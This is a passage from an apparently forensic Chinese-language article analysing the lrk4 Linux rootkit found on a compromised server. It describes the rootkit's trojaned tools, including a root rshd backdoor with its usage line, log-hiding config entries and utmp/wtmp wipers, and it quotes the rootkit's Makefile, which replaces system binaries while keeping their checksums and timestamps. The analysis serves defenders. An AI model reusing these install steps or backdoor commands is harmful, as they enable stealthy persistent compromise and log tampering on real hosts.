ot权限执行远程命令。 用法:rsh -l rootkitpassword host_addr command 例如:rsh -l rootpass test.org /bin/sh -i 将会启动一个root的shell进程(rootkit的密码可以在rootkit.h修改) sniffchk 一个简单测试linsniff是否运行的BSH脚本, 如果不是长期窃听一台服务起的话,它的作用并不大。 syslogd 从日志文件中删除指定的字串记录。定义文件为/dev/ptys: evil.com 123.100.101.202 rshd 日志中包含了“evil.com”、“123.100.101.202”和“rshd”的字串记录将完全从日志中清除干净。 tcpd 允许没有任何日志记录的访问主机系统。Tcpd使用类型1来实现文件定义。 例如: 1 123.4.5.6 将会建立tcp帮定连接,允许123.4.5.6的隐藏登录连接。 top 其作用以及定义文件和ps类似。 wted 这个程序可以做很多事情。你可以观看wtmp或者utmp文件中的所有记录,按照用户名或主机名删除记录,查看zappped用户 (管理员用此类似的工具来查找删除的记录),删除zapped用户等。 z2 Zapper2的缩写,运行它可以擦除一个用户在utmp/wtmp/lastlog文件的所有记录。 汗流浃背的观察lkr4所安装的木马后,现在让我感兴趣的是它们的安装过程,对比安装的二进制木马程序和系统原程序,我发现它们除了大小有所偏异,其文件属性、文件校验和和时间戳完全一样。于是我继续追踪其安装和编译路径: #这是从源代码中截取的安装源文件代码 # Just to have a short-cut in the subdirectory Makefiles. IBSD=-I/usr/include/bsd -include /usr/include/bsd/bsd.h # These are just a common cases. Then we don’t have do write anything in the # sublevel makefiles. CFLAGS = ${O} ${IBSD} LDLIBS = -lbsd SUB = chfn chsh inetd login net-tools-1.32-alpha passwd \ procps-1.01 rshd sysklogd-1.3 tcpd_7.4 fileutils-3.13 cron3.0pl1 psmisc findutils/lib findutils/find SHADOWSUB = inetd net-tools-1.32-alpha procps-1.01 rshd sysklogd-1.3 \ shadow-961025 tcpd_7.4 fileutils-3.13 cron3.0pl1 psmisc findutils/lib findutils/find CC=gcc
all: ${CC} -o fix fix.c ${CC} -o z2 z2.c ${CC} -o wted wted.c ${CC} -O2 -o linsniffer linsniffer.c ${CC} -o bindshell bindshell.c for i in $(SUB); do make -C $$i; done mv chfn/chfn bin mv chsh/chsh bin mv login/login bin mv passwd/passwd bin
shadow: ${CC} -o fix fix.c ${CC} -o z2 z2.c ${CC} -o wted wted.c ${CC} -O2 -o linsniffer linsniffer.c ${CC} -o bind
shell bindshell.c for i in $(SHADOWSUB); do make -C $$i; done mv shadow-961025/src/chfn bin mv shadow-961025/src/chsh bin mv shadow-961025/src/login bin mv shadow-961025/src/passwd bin
install: if [ -x /usr/bin/chfn ] && [ -x bin/chfn ]; then ./fix /usr/bin/chfn bin/chfn; fi if [ -x /usr/bin/chsh ] && [ -x bin/chsh ]; then ./fix /usr/bin/chsh bin/chsh; fi if [ -x /bin/login ] && [ -x bin/login ]; then ./fix /bin/login bin/login; fi if [ -x /bin/ls ] && [ -x fileutils-3.13/src/ls ]; then ./fix /bin/ls fileutils-3.13/src/ls; fi if [ -x /bin/du ] && [ -x fileutils-3.13/src/du ]; then ./fix /bin/du fileutils-3.13/src/du; fi if [ -x /usr/bin/passwd ] && [ -x bin/passwd ]; then ./fix /usr/bin/passwd bin/passwd; fi if [ -x /bin/ps ] && [ -x procps-1.01/ps ]; then ./fix /bin/ps procps-1.01/ps; fi if [ -x /usr/bin/top ] && [ -x procps-1.01/top ]; then ./fix /usr/bin/top procps-1.01/top; fi if [ -x /usr/sbin/in.rshd ] && [ -x rshd/rshd ]; then ./fix /usr/sbin/in.rshd rshd/rshd; fi if [ -x /bin/netstat ] && [ -x net-tools-1.32-alpha/netstat ]; then ./fix /bin/netstat net-tools-1.32-alpha/netstat; fi if [ -x /sbin/ifconfig ] && [ -x net-tools-1.32-alpha/ifconfig ]; then ./fix /sbin/ifconfig net-tools-1.32-alpha/ifconfig; fi if [ -x /usr/sbin/syslogd ] && [ -x sysklogd-1.3/syslogd ]; then ./fix /usr/sbin/syslogd sysklogd-1.3/syslogd; fi
if [ -x /usr/sbin/inetd ] && [ -x inetd/inetd ]; then ./fix /usr/sbin/inetd inetd/inetd; fi
if [ -x /usr/sbin/tcpd ] && [ -x tcpd_7.4/tcpd ]; then ./fix /usr/sbin/tcpd tcpd_7.4/tcpd; fi
if [ -x /usr/bin/killall ] && [ -x psmisc/killall ]; then ./fix /usr/bin/killall psmisc/killall; fi
if [ -x /bin/killall ] && [ -x psmisc/killall ]; then ./fix /bin/killall psmisc/killall; fi
if [ -x /usr/bin/pidof ] && [ -x psmisc/killall ] && [ -x /bin/killall ]; then ln -sf /bin/killall psmisc/pidof; fi if [ -x /usr/bin/pidof ] && [ -x psmisc/killall ] && [ -x /usr/bin/killall ]; then ln -sf /usr/bin/killall psmisc/pidof; fi
if [ -x /usr/bin/pidof ] && [ -x psmisc/killall ] && [ -x /usr/bin/killall ]; then ./fix /usr/bin/pidof psmisc/pidof; fi
if [ -x /sbin/pidof ] && [ -x psmisc/killall ] && [ -x /usr/bin/killall ]; then ./fix /sbin/pidof psmisc/pidof; fi
if [ -x /usr/bin/find ] && [ -x findutils/find/find ]; then ./fix /usr/bin/find findutils/find/find; fi
clean:
rm -f fix z2 wted linsniffer bindshell bin/*
for i in $(SUB); do make -C $$i clean; done
for i in $(SHADOWSUB); do make -C $$i clean; done
small:
for i in $(SUB); do strip $$i/*; done
for i in $(SHADOWSUB); do strip $$i/*; done
&nbs 上一页 [1] [2] [3] [4] [5] 下一页
|